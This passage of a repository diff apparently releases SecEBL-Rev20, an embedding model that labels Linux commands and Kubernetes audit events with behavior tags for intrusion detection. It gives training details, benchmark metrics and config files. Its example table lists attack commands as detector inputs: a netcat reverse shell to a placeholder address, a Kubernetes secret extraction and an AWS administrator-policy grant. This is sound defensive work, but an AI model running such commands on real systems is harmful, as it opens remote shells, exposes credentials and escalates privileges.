formats.
|
| 135 |
+
|
| 136 |
+
SecEBL adds an intermediate representation:
|
| 137 |
+
|
| 138 |
+
```text
|
| 139 |
+
raw security event
|
| 140 |
+
-> L1 behavior-intent recognition
|
| 141 |
+
-> L2 session reasoning or another downstream detector
|
| 142 |
+
-> alert / review / policy
|
| 143 |
+
```
|
| 144 |
+
|
| 145 |
+
L1 intentionally does not decide that a single event is an intrusion. It
|
| 146 |
+
produces explainable behavior evidence such as `read_credential_material`,
|
| 147 |
+
`execute_remote_command`, `create_scheduled_task`, `grant_cluster_privilege`,
|
| 148 |
+
or `query_service_health`.
|
| 149 |
+
|
| 150 |
+
This is useful for:
|
| 151 |
+
|
| 152 |
+
- LOLT / living-off-the-land behavior where the tool is legitimate but the
|
| 153 |
+
behavior may be suspicious in context.
|
| 154 |
+
- Rule-writing lag, where new tool syntax appears faster than signatures can be
|
| 155 |
+
maintained.
|
| 156 |
+
- Multi-platform telemetry, where Linux commands, Kubernetes audit events, and
|
| 157 |
+
future telemetry can share a behavior vocabulary.
|
| 158 |
+
- Explainable detection, where an alert should be tied to explicit behavior
|
| 159 |
+
labels rather than only an opaque score.
|
| 160 |
+
|
| 161 |
+
## Data And Vocabulary
|
| 162 |
+
|
| 163 |
+
Rev20 is a flat behavior-tag schema.
|
| 164 |
+
|
| 165 |
+
| Item | Count |
|
| 166 |
+
| --- | ---: |
|
| 167 |
+
| Top-level behavior groups | 12 |
|
| 168 |
+
| Behavior tags | 361 |
|
| 169 |
+
|
| 170 |
+
Schema groups:
|
| 171 |
+
|
| 172 |
+
| Group | Tags |
|
| 173 |
+
| --- | ---: |
|
| 174 |
+
| `observation_and_discovery` | 51 |
|
| 175 |
+
| `configuration_and_log_modification` | 12 |
|
| 176 |
+
| `filesystem_and_data` | 33 |
|
| 177 |
+
| `execution_and_process` | 28 |
|
| 178 |
+
| `network` | 51 |
|
| 179 |
+
| `identity_auth_and_secrets` | 31 |
|
| 180 |
+
| `persistence_services_and_storage` | 27 |
|
| 181 |
+
| `kernel_memory_and_tracing` | 14 |
|
| 182 |
+
| `package_build_and_source` | 19 |
|
| 183 |
+
| `database_and_infrastructure_services` | 33 |
|
| 184 |
+
| `containers_and_cloud_native` | 34 |
|
| 185 |
+
| `cloud_control_plane` | 28 |
|
| 186 |
+
|
| 187 |
+
The release baseline was trained from internal Rev20 corpora:
|
| 188 |
+
|
| 189 |
+
| Corpus | Rows | Unique behavior tags | Notes |
|
| 190 |
+
| --- | ---: | ---: | --- |
|
| 191 |
+
| Linux command corpus | 85,277 | 361 | Mixed generated, reviewed, and manually expanded command examples. |
|
| 192 |
+
| Kubernetes AuditLog corpus | 1,008 | 40 | Manually authored normalized K8s audit events. |
|
| 193 |
+
|
| 194 |
+
The Linux corpus covers roughly 2,700 distinct first-token/tool forms by a
|
| 195 |
+
conservative executable-name estimate. Common families include shell utilities,
|
| 196 |
+
network tools, package/build tools, cloud CLIs, IaC tools, container tooling,
|
| 197 |
+
databases, secret stores, and Kubernetes tooling.
|
| 198 |
+
|
| 199 |
+
## Training Details
|
| 200 |
+
|
| 201 |
+
The raw training corpora are not redistributed, but the following details are
|
| 202 |
+
documented so readers can understand the model scale and method.
|
| 203 |
+
|
| 204 |
+
| Item | Value |
|
| 205 |
+
| --- | --- |
|
| 206 |
+
| Base model | `Alibaba-NLP/gte-modernbert-base` |
|
| 207 |
+
| Training objective | `MultipleNegativesRankingLoss` with hard-negative-aware batches |
|
| 208 |
+
| Training hardware | NVIDIA GeForce RTX 5090, 32GB VRAM, `cuda:0` |
|
| 209 |
+
| Epochs | 128 full-pass epochs |
|
| 210 |
+
| Batch size | 112 |
|
| 211 |
+
| Precision | `fp32` |
|
| 212 |
+
| Steps | 1,062 steps per epoch; 135,936 total optimizer steps |
|
| 213 |
+
| Runtime | 58,291 seconds, about 16.2 hours |
|
| 214 |
+
| Sequence length | 160 tokens |
|
| 215 |
+
| Optimizer schedule | learning rate `2e-5`, warmup ratio `0.06`, 8,156 warmup steps, weight decay `0.01` |
|
| 216 |
+
|
| 217 |
+
Training data scale:
|
| 218 |
+
|
| 219 |
+
| Training artifact | Count | Notes |
|
| 220 |
+
| --- | ---: | --- |
|
| 221 |
+
| Combined corpus rows | 86,285 | 85,277 Linux command rows plus 1,008 K8s AuditLog rows. |
|
| 222 |
+
| Non-empty training observations | 82,895 | Rows with usable behavior labels after skipping 3,390 abstain rows. |
|
| 223 |
+
| Base command-tag pairs | 117,092 | Positive command/tag pairs before boundary upsampling. |
|
| 224 |
+
| Effective positive pairs | 118,858 | Final pair count after targeted boundary upsampling. |
|
| 225 |
+
| Behavior labels | 361 | Full Rev20 behavior vocabulary used on the label side. |
|
| 226 |
+
|
| 227 |
+
The Linux corpus is intentionally mixed rather than a single synthetic source.
|
| 228 |
+
The largest source slices are roughly 36.9k generated rows, 28.5k manually
|
| 229 |
+
reviewed rows, 4.0k benchmark-prune/migration rows, 3.6k common-difference gap
|
| 230 |
+
rows, 2.7k reviewed generated rows, 2.6k baseline manual rows, and 2.3k attack
|
| 231 |
+
batch rows, plus smaller targeted boundary, miss-review, public-attack, and
|
| 232 |
+
high-miss batches.
|
| 233 |
+
|
| 234 |
+
Token lengths are short enough for a compact encoder. Across the final pair set,
|
| 235 |
+
command-side text is p50 32 tokens, p90 55, p95 68, and p99 113; fewer than
|
| 236 |
+
0.3% of examples exceed the 160-token training limit. Label-side semantic texts
|
| 237 |
+
are p50 40 tokens and p95 62.
|
| 238 |
+
|
| 239 |
+
Hard negatives were designed in two layers:
|
| 240 |
+
|
| 241 |
+
- Schema-level negatives: the dataset builder used `schema_hard`, with a
|
| 242 |
+
16-item hard-negative pool and up to 8 negatives per positive before MNRL
|
| 243 |
+
batching. These negatives come from semantically nearby Rev20 tags, so the
|
| 244 |
+
model is forced to separate labels such as read-vs-search, inspect-vs-modify,
|
| 245 |
+
local-vs-remote execution, and similar tool-boundary cases.
|
| 246 |
+
- Batch-level negatives: the training loader used hard-negative-aware MNRL
|
| 247 |
+
batches. The final run used config
|
| 248 |
+
`rev20_conservative_20260620_ep96_miss_v11`, covering 74 difficult labels and
|
| 249 |
+
placing 2 hard-negative labels near each anchor where possible.
|
| 250 |
+
- Boundary upsampling: 1,766 boundary-sensitive pairs were duplicated once,
|
| 251 |
+
producing 1,766 extra training exposures. These rows target recurring failure
|
| 252 |
+
modes such as grep/read ambiguity, wrapper commands, tool-specific boundaries,
|
| 253 |
+
no-hit review cases, and post-evaluation miss-review batches.
|
| 254 |
+
|
| 255 |
+
## Public Benchmark Subset
|
| 256 |
+
|
| 257 |
+
This Hugging Face repository includes the same public benchmark examples as the
|
| 258 |
+
companion GitHub repository: the Linux benchmark subset under `examples/linux/`
|
| 259 |
+
and normalized Kubernetes AuditLog examples under `examples/k8s/`.
|
| 260 |
+
|
| 261 |
+
| Public artifact | Rows | Sessions | Notes |
|
| 262 |
+
| --- | ---: | ---: | --- |
|
| 263 |
+
| `examples/linux/example_sessions.jsonl` | 10,520 | 531 | Publicly releasable subset of the internal Linux final benchmark; 2,934 normal-operation rows and 7,586 intrusion rows. |
|
| 264 |
+
| `examples/linux/example_gold.rev20.jsonl` | 10,520 | 531 | Matching Rev20 behavior labels; 10,019 labeled rows, 14,807 behavior-label instances, and 349 unique behavior tags. |
|
| 265 |
+
| `examples/k8s/example_sessions.jsonl` | 144 | 46 | Public normalized Kubernetes AuditLog examples; 72 normal-operation rows and 72 intrusion rows. |
|
| 266 |
+
| `examples/k8s/example_gold.rev20.jsonl` | 144 | 46 | Matching Rev20 behavior labels; 144 labeled rows, 163 behavior-label instances, and 27 unique behavior tags. |
|
| 267 |
+
|
| 268 |
+
Session-level labels use English enums: `normal_operation` and `intrusion`.
|
| 269 |
+
The full internal Linux benchmark remains larger: 12,594 rows, 663 sessions,
|
| 270 |
+
and complete 361-tag coverage.
|
| 271 |
+
|
| 272 |
+
## Evaluation Snapshot
|
| 273 |
+
|
| 274 |
+
The full internal benchmark data is not public. The aggregate size,
|
| 275 |
+
distribution, and metrics are public so users can understand what the headline
|
| 276 |
+
numbers mean.
|
| 277 |
+
|
| 278 |
+
Evaluation scale:
|
| 279 |
+
|
| 280 |
+
| Dataset | Rows | Rows with labels | Behavior-tag instances | Unique behavior tags |
|
| 281 |
+
| --- | ---: | ---: | ---: | ---: |
|
| 282 |
+
| Linux internal benchmark | 12,594 | 11,889 | 17,287 | 361 / 361 |
|
| 283 |
+
| K8s evaluation set | 144 | 144 | 163 | 27 / 361 |
|
| 284 |
+
| Combined | 12,738 | 12,033 | 17,450 | 361 / 361 |
|
| 285 |
+
|
| 286 |
+
Retrieval quality:
|
| 287 |
+
|
| 288 |
+
| Dataset | Dynamic exact | Top5 any-hit | Top5 all-covered | Micro recall@5 |
|
| 289 |
+
| --- | ---: | ---: | ---: | ---: |
|
| 290 |
+
| Linux internal benchmark | 87.32% | 98.49% | 95.44% | 96.44% |
|
| 291 |
+
| K8s evaluation set | 99.31% | 100.00% | 100.00% | 100.00% |
|
| 292 |
+
| Combined | 87.47% | 98.50% | 95.50% | 96.47% |
|
| 293 |
+
|
| 294 |
+
The Linux benchmark covers the complete 361-tag Rev20 vocabulary and includes
|
| 295 |
+
complex multi-tag command rows. The K8s result should be read as a small-domain
|
| 296 |
+
sanity result rather than broad Kubernetes coverage because the current K8s
|
| 297 |
+
corpus is much smaller than the Linux corpus.
|
| 298 |
+
|
| 299 |
+
Internal Linux benchmark tag cardinality:
|
| 300 |
+
|
| 301 |
+
| Tags per row | Rows |
|
| 302 |
+
| --- | ---: |
|
| 303 |
+
| 0 | 705 |
|
| 304 |
+
| 1 | 8,829 |
|
| 305 |
+
| 2 | 1,567 |
|
| 306 |
+
| 3 | 901 |
|
| 307 |
+
| 4 | 402 |
|
| 308 |
+
| 5 | 139 |
|
| 309 |
+
| 6+ | 51 |
|
| 310 |
+
|
| 311 |
+
Top internal Linux benchmark tags:
|
| 312 |
+
|
| 313 |
+
| Tag | Count |
|
| 314 |
+
| --- | ---: |
|
| 315 |
+
| `stage_temporary_path` | 987 |
|
| 316 |
+
| `inspect_network_state` | 801 |
|
| 317 |
+
| `stage_hidden_path` | 655 |
|
| 318 |
+
| `inspect_current_identity` | 578 |
|
| 319 |
+
| `read_credential_material` | 551 |
|
| 320 |
+
| `inspect_system_state` | 481 |
|
| 321 |
+
| `inspect_infrastructure_service` | 390 |
|
| 322 |
+
| `query_dns_records` | 372 |
|
| 323 |
+
| `enumerate_filesystem` | 365 |
|
| 324 |
+
| `search_credentials` | 315 |
|
| 325 |
+
|
| 326 |
+
## Example Outputs
|
| 327 |
+
|
| 328 |
+
These examples show the user-facing L1 output style. Scores are cosine/retrieval
|
| 329 |
+
scores after the release prompt profile. The public helper scripts save top
|
| 330 |
+
labels in `predictions.jsonl`.
|
| 331 |
+
|
| 332 |
+
| Event | Top 3 L1 tags | Note |
|
| 333 |
+
| --- | --- | --- |
|
| 334 |
+
| `nc -e /bin/sh 203.0.113.10 4444` | <code>spawn_reverse_shell</code> 0.811<br><code>connect_external_service</code> 0.488<br><code>spawn_bind_shell</code> 0.451 | `-e` is recognized as reverse-shell execution. |
|
| 335 |
+
| `nc -v 203.0.113.10 443` | <code>connect_external_service</code> 0.732<br><code>spawn_reverse_shell</code> 0.503<br><code>create_reverse_tunnel</code> 0.412 | Connection intent ranks above shell-spawn intent. |
|
| 336 |
+
| `cat /root/install.log` | <code>read_business_log</code> 0.641<br><code>read_system_log</code> 0.431<br><code>read_workload_logs</code> 0.385 | Log-read semantics dominate. |
|
| 337 |
+
| `cat /root/install.conf` | <code>read_infrastructure_config</code> 0.620<br><code>read_system_config</code> 0.612<br><code>read_kernel_parameter</code> 0.336 | Config-read semantics dominate. |
|
| 338 |
+
| `kubectl -n prod get secret payment-api-token -o jsonpath={.data.token} \| base64 -d` | <code>read_cluster_secret</code> 0.730<br><code>decode_data</code> 0.716<br><code>read_credential_material</code> 0.363 | K8s secret extraction and decoding. |
|
| 339 |
+
| `aws iam attach-user-policy --user-name temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess` | <code>grant_cloud_privilege</code> 0.838<br><code>modify_cloud_identity_policy</code> 0.535<br><code>modify_cloud_identity</code> 0.459 | Cloud privilege escalation semantics. |
|
| 340 |
+
| `curl -fsS http://127.0.0.1:8080/healthz` | <code>query_service_health</code> 0.840<br><code>inspect_local_kubernetes_cluster</code> 0.459<br><code>inspect_container_runtime</code> 0.383 | Local service health check. |
|
| 341 |
+
|
| 342 |
+
## Runtime Performance
|
| 343 |
+
|
| 344 |
+
SecEBL-Rev20 is a SentenceTransformers-style embedding retriever over 361 Rev20
|
| 345 |
+
tag definitions. The serving path embeds the event, embeds or loads tag
|
| 346 |
+
definition embeddings, then ranks tags by similarity.
|
| 347 |
+
|
| 348 |
+
Current single-card CUDA recommendation:
|
| 349 |
+
|
| 350 |
+
| Setting | Value |
|
| 351 |
+
| --- | --- |
|
| 352 |
+
| Precision | FP16 |
|
| 353 |
+
| Attention | SDPA |
|
| 354 |
+
| `max_seq_length` | 160 |
|
| 355 |
+
| Batch size | 224 default; 384 was slightly faster in one RTX 5090 sweep but not enough to replace the stable default |
|
| 356 |
+
| Sorting | `sort_by=char` |
|
| 357 |
+
| Padding | dynamic, no forced pad alignment |
|
| 358 |
+
| Output path | GPU tensor output plus GPU top-k |
|
| 359 |
+
|
| 360 |
+
Measured on an NVIDIA GeForce RTX 5090 32GB spot-check:
|
| 361 |
+
|
| 362 |
+
| Mode | Throughput |
|
| 363 |
+
| --- | ---: |
|
| 364 |
+
| Recommended no-cache unique inference, `bs224` | mean 5,308.72 unique cmdlines/s |
|
| 365 |
+
| Recommended no-cache latency, `bs224` | about 0.1884 ms per unique cmdline |
|
| 366 |
+
| `bs224` repeat range | 5,025.47 - 5,433.78 unique cmdlines/s |
|
| 367 |
+
| Best quick-sweep point, `bs384` | 5,378.45 unique cmdlines/s |
|
| 368 |
+
|
| 369 |
+
Exact raw-event cache lookup was measured separately at mean 1,817,462.76
|
| 370 |
+
rows/s. Cache hits reuse saved L1 top-k results and do not run model inference.
|
| 371 |
+
|
| 372 |
+
## L2 Artifact
|
| 373 |
+
|
| 374 |
+
This repository includes an experimental fitted L2 session scorer so the
|
| 375 |
+
companion GitHub `scripts/run_examples.sh` can run the public Linux and K8s L1
|
| 376 |
+
examples, plus Linux example-session scoring, when this model directory is used
|
| 377 |
+
as `MODEL_DIR`.
|
| 378 |
+
|
| 379 |
+
In this release, a **session** is a sequence of events grouped by `session_id`.
|
| 380 |
+
L1 labels each event independently. L2 scores the whole session by aggregating
|
| 381 |
+
cached L1 ranked tags, retrieval scores, tag diversity, behavior transitions,
|
| 382 |
+
and routine-operation context. The L2 output is a session-level verdict such as
|
| 383 |
+
`intrusion` or `normal_operation`, not a replacement for per-command behavior
|
| 384 |
+
tags.
|
| 385 |
+
|
| 386 |
+
For compatibility with the released L2 artifact, L2 derives its session
|
| 387 |
+
features from cached L1 `top_labels` using an internal selected-tag feature
|
| 388 |
+
path. In plain terms, L2 filters the cached ranked labels inside its own feature
|
| 389 |
+
builder before session scoring. This does not change L1 prediction output:
|
| 390 |
+
users still receive ranked `top_labels`, not a selected `behavior_tags` field.
|
| 391 |
+
|
| 392 |
+
Runtime L2 does not use raw command text, user names, host names, or session ids
|
| 393 |
+
as scoring features. Session ids may appear in private data-prep workflows for
|
| 394 |
+
label assignment, but they are not runtime allow/deny lists.
|
| 395 |
+
|
| 396 |
+
Internal L2 summary:
|
| 397 |
+
|
| 398 |
+
| Check | Result |
|
| 399 |
+
| --- | ---: |
|
| 400 |
+
| Withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
|
| 401 |
+
| 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
|
| 402 |
+
| OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
|
| 403 |
+
|
| 404 |
+
The 7M pressure-stream result was measured on real background telemetry plus
|
| 405 |
+
embedded synthetic attack sessions. The underlying rows and real session
|
| 406 |
+
identifiers are not redistributed. The included L2 artifact is a
|
| 407 |
+
research/reproducibility component, not a general production IDS claim.
|
| 408 |
+
|
| 409 |
+
## Direct SentenceTransformers Loading
|
| 410 |
+
|
| 411 |
+
You can load the embedding model directly:
|
| 412 |
+
|
| 413 |
+
```python
|
| 414 |
+
from sentence_transformers import SentenceTransformer
|
| 415 |
+
|
| 416 |
+
model = SentenceTransformer("willchen0011/SecEBL")
|
| 417 |
+
```
|
| 418 |
+
|
| 419 |
+
Direct loading gives you the encoder only. SecEBL is a retrieval-style labeler:
|
| 420 |
+
encode the event, encode or load the Rev20 semantic label texts from
|
| 421 |
+
`semantic_texts.jsonl`, rank labels by cosine similarity, and save the top-k
|
| 422 |
+
labels. For normal use, prefer the companion GitHub helpers because they keep
|
| 423 |
+
the prompt profile, semantic text loading, top-k output format, and optional L2
|
| 424 |
+
feature path aligned with this release.
|
| 425 |
+
|
| 426 |
+
## Intended Use
|
| 427 |
+
|
| 428 |
+
- Research and evaluation of security-event behavior labeling.
|
| 429 |
+
- Internal security detection, investigation, and triage for systems an
|
| 430 |
+
organization owns, operates, administers, or is explicitly authorized to
|
| 431 |
+
defend.
|
| 432 |
+
- Building session-level risk scoring over SecEBL behavior-label streams.
|
| 433 |
+
|
| 434 |
+
## Out Of Scope
|
| 435 |
+
|
| 436 |
+
- Standalone verdicting on a single event.
|
| 437 |
+
- Authorization or policy-compliance decisions without human validation.
|
| 438 |
+
- Monitoring systems you are not authorized to defend.
|
| 439 |
+
|
| 440 |
+
## License
|
| 441 |
+
|
| 442 |
+
This Hugging Face repository is released under **Apache License 2.0**.
|
| 443 |
+
|
| 444 |
+
The base model is `Alibaba-NLP/gte-modernbert-base`, which is also Apache-2.0.
|
| 445 |
+
Source code, schemas, public examples, public documentation, helper scripts,
|
| 446 |
+
model artifacts, and the experimental L2 artifact are Apache-2.0 unless a file
|
| 447 |
+
explicitly states otherwise.
|
config.json
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"architectures": [
|
| 3 |
+
"ModernBertModel"
|
| 4 |
+
],
|
| 5 |
+
"attention_bias": false,
|
| 6 |
+
"attention_dropout": 0.0,
|
| 7 |
+
"bos_token_id": 50281,
|
| 8 |
+
"classifier_activation": "gelu",
|
| 9 |
+
"classifier_bias": false,
|
| 10 |
+
"classifier_dropout": 0.0,
|
| 11 |
+
"classifier_pooling": "mean",
|
| 12 |
+
"cls_token_id": 50281,
|
| 13 |
+
"decoder_bias": true,
|
| 14 |
+
"deterministic_flash_attn": false,
|
| 15 |
+
"dtype": "float32",
|
| 16 |
+
"embedding_dropout": 0.0,
|
| 17 |
+
"eos_token_id": 50282,
|
| 18 |
+
"global_attn_every_n_layers": 3,
|
| 19 |
+
"global_rope_theta": 160000.0,
|
| 20 |
+
"gradient_checkpointing": false,
|
| 21 |
+
"hidden_activation": "gelu",
|
| 22 |
+
"hidden_size": 768,
|
| 23 |
+
"initializer_cutoff_factor": 2.0,
|
| 24 |
+
"initializer_range": 0.02,
|
| 25 |
+
"intermediate_size": 1152,
|
| 26 |
+
"layer_norm_eps": 1e-05,
|
| 27 |
+
"local_attention": 128,
|
| 28 |
+
"local_rope_theta": 10000.0,
|
| 29 |
+
"max_position_embeddings": 8192,
|
| 30 |
+
"mlp_bias": false,
|
| 31 |
+
"mlp_dropout": 0.0,
|
| 32 |
+
"model_type": "modernbert",
|
| 33 |
+
"norm_bias": false,
|
| 34 |
+
"norm_eps": 1e-05,
|
| 35 |
+
"num_attention_heads": 12,
|
| 36 |
+
"num_hidden_layers": 22,
|
| 37 |
+
"pad_token_id": 50283,
|
| 38 |
+
"position_embedding_type": "absolute",
|
| 39 |
+
"repad_logits_with_grad": false,
|
| 40 |
+
"sep_token_id": 50282,
|
| 41 |
+
"sparse_pred_ignore_index": -100,
|
| 42 |
+
"sparse_prediction": false,
|
| 43 |
+
"transformers_version": "4.57.6",
|
| 44 |
+
"vocab_size": 50368
|
| 45 |
+
}
|
config_sentence_transformers.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"__version__": {
|
| 3 |
+
"sentence_transformers": "3.4.1",
|
| 4 |
+
"transformers": "4.57.6",
|
| 5 |
+
"pytorch": "2.9.0+cu130"
|
| 6 |
+
},
|
| 7 |
+
"prompts": {},
|
| 8 |
+
"default_prompt_name": null,
|
| 9 |
+
"similarity_fn_name": "cosine"
|
| 10 |
+
}
|
examples/README.md
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# SecEBL Public Final Benchmark Examples
|
| 2 |
+
|
| 3 |
+
This directory contains publicly releasable example data for verifying the
|
| 4 |
+
release code path: a subset of the internal Linux final benchmark plus
|
| 5 |
+
normalized Kubernetes AuditLog examples.
|
| 6 |
+
|
| 7 |
+
**The full internal benchmark, training corpora, private pressure-stream rows,
|
| 8 |
+
and removed sensitive benchmark sessions are not distributed in this GitHub
|
| 9 |
+
repository.**
|
| 10 |
+
|
| 11 |
+
The `*_gold.rev20.jsonl` filenames are kept for compatibility. In this release,
|
| 12 |
+
they are the expected Rev20 behavior-tag labels for this public benchmark
|
| 13 |
+
subset.
|
| 14 |
+
|
| 15 |
+
- `linux/example_sessions.jsonl`: 10,520 Linux command-session rows from 531
|
| 16 |
+
public subset sessions.
|
| 17 |
+
- `linux/example_gold.rev20.jsonl`: matching Rev20 behavior tags for the same
|
| 18 |
+
10,520 rows.
|
| 19 |
+
- `k8s/example_sessions.jsonl`: 144 normalized Kubernetes AuditLog rows across
|
| 20 |
+
46 sessions.
|
| 21 |
+
- `k8s/example_gold.rev20.jsonl`: matching Rev20 behavior tags for the same 144
|
| 22 |
+
K8s rows, with 163 behavior-label instances and 27 unique behavior tags.
|
| 23 |
+
|
| 24 |
+
Session-level labels use English enums: `normal_operation` and `intrusion`.
|
examples/k8s/example_gold.rev20.jsonl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:fdf777b5fd1e7e6d4bd85276ce0125ec4f7462d849ac78deea75c73000b16cd8
|
| 3 |
+
size 99593
|
examples/k8s/example_sessions.jsonl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8913939e98a9d7f09a6eab49a32dd914f5df6e399b3c072e917b489db89a65c2
|
| 3 |
+
size 60154
|
examples/linux/example_gold.rev20.jsonl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:c33ddca9a70f4b7ccaca3f3eef69fa3a6e35bc0788ba70853c115aaf62a18bf8
|
| 3 |
+
size 7428269
|
examples/linux/example_sessions.jsonl
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:286315f744ba0fe571ed419f380c38a8fdf83af8b629ed35aa5603085a5f1290
|
| 3 |
+
size 1880555
|
examples/manifest.json
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"k8s": {
|
| 3 |
+
"behavior_label_instances": 163,
|
| 4 |
+
"files": [
|
| 5 |
+
"examples/k8s/example_sessions.jsonl",
|
| 6 |
+
"examples/k8s/example_gold.rev20.jsonl"
|
| 7 |
+
],
|
| 8 |
+
"intrusion_rows": 72,
|
| 9 |
+
"normal_rows": 72,
|
| 10 |
+
"rows": 144,
|
| 11 |
+
"rows_with_behavior_labels": 144,
|
| 12 |
+
"sessions": 46,
|
| 13 |
+
"source": "public normalized Kubernetes AuditLog examples with public-only metadata",
|
| 14 |
+
"unique_behavior_labels": 27
|
| 15 |
+
},
|
| 16 |
+
"linux": {
|
| 17 |
+
"behavior_label_instances": 14807,
|
| 18 |
+
"files": [
|
| 19 |
+
"examples/linux/example_sessions.jsonl",
|
| 20 |
+
"examples/linux/example_gold.rev20.jsonl"
|
| 21 |
+
],
|
| 22 |
+
"intrusion_rows": 7586,
|
| 23 |
+
"normal_rows": 2934,
|
| 24 |
+
"rows": 10520,
|
| 25 |
+
"rows_with_behavior_labels": 10019,
|
| 26 |
+
"sessions": 531,
|
| 27 |
+
"source": "publicly releasable subset of the internal Linux final benchmark; session labels normalized to English enums",
|
| 28 |
+
"unique_behavior_labels": 349
|
| 29 |
+
},
|
| 30 |
+
"note": "The full internal benchmark is larger and is not redistributed in this repository; these examples are the public subset used for runnable release verification.",
|
| 31 |
+
"schema": "secebl_public_examples_manifest_v2"
|
| 32 |
+
}
|
l2_artifacts/README.md
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# SecEBL-Rev20 L2 Artifact
|
| 2 |
+
|
| 3 |
+
This directory contains the minimal public L2 artifact bundle for SecEBL-Rev20.
|
| 4 |
+
It is included so the companion GitHub `scripts/run_examples.sh` can run the
|
| 5 |
+
public Linux benchmark-subset session scoring path by default when this Hugging
|
| 6 |
+
Face model snapshot is used as `MODEL_DIR`.
|
| 7 |
+
|
| 8 |
+
## Files
|
| 9 |
+
|
| 10 |
+
| Path | Purpose |
|
| 11 |
+
| --- | --- |
|
| 12 |
+
| `logreg.joblib` | Fitted logistic-regression L2 session-risk model. |
|
| 13 |
+
| `tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
|
| 14 |
+
| `train_summary.json` | Public aggregate training/evaluation summary with no raw rows or real session identifiers. |
|
| 15 |
+
|
| 16 |
+
The release does not include the L2 training JSONL, raw pressure-stream archive,
|
| 17 |
+
full internal sessions, per-session pressure results, alert JSONL, source-code
|
| 18 |
+
copies, or private run logs. This repository includes the public benchmark
|
| 19 |
+
subset under `examples/linux/`; use the companion GitHub repository for source
|
| 20 |
+
code and the one-command runner.
|
| 21 |
+
|
| 22 |
+
## Scope
|
| 23 |
+
|
| 24 |
+
L2 is an experimental session scorer. A session is a sequence of events grouped
|
| 25 |
+
by `session_id`. L1 labels each event independently; L2 scores the whole session
|
| 26 |
+
by aggregating cached L1 ranked tags, retrieval scores, tag diversity, behavior
|
| 27 |
+
transitions, and routine-operation context.
|
| 28 |
+
|
| 29 |
+
Runtime L2 does not use raw command text, user names, host names, or session ids
|
| 30 |
+
as scoring features. Session ids may appear in private data-prep workflows for
|
| 31 |
+
label assignment, but they are not runtime allow/deny lists.
|
| 32 |
+
|
| 33 |
+
For compatibility with the released L2 artifact, L2 derives its session
|
| 34 |
+
features from cached L1 `top_labels` using an internal selected-tag feature
|
| 35 |
+
path. This does not change L1 prediction output: users still receive ranked
|
| 36 |
+
`top_labels`, not a selected `behavior_tags` field.
|
| 37 |
+
|
| 38 |
+
## Public Summary
|
| 39 |
+
|
| 40 |
+
| Check | Result |
|
| 41 |
+
| --- | ---: |
|
| 42 |
+
| Fitted withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
|
| 43 |
+
| 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
|
| 44 |
+
| OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
|
| 45 |
+
|
| 46 |
+
The high session benchmark accuracy is scoped to the current fitted internal
|
| 47 |
+
experiment. It is evidence that this L2 setup works well on the current complex
|
| 48 |
+
internal benchmark and pressure-data fit-check, not an independent claim of
|
| 49 |
+
general production IDS accuracy.
|
| 50 |
+
|
| 51 |
+
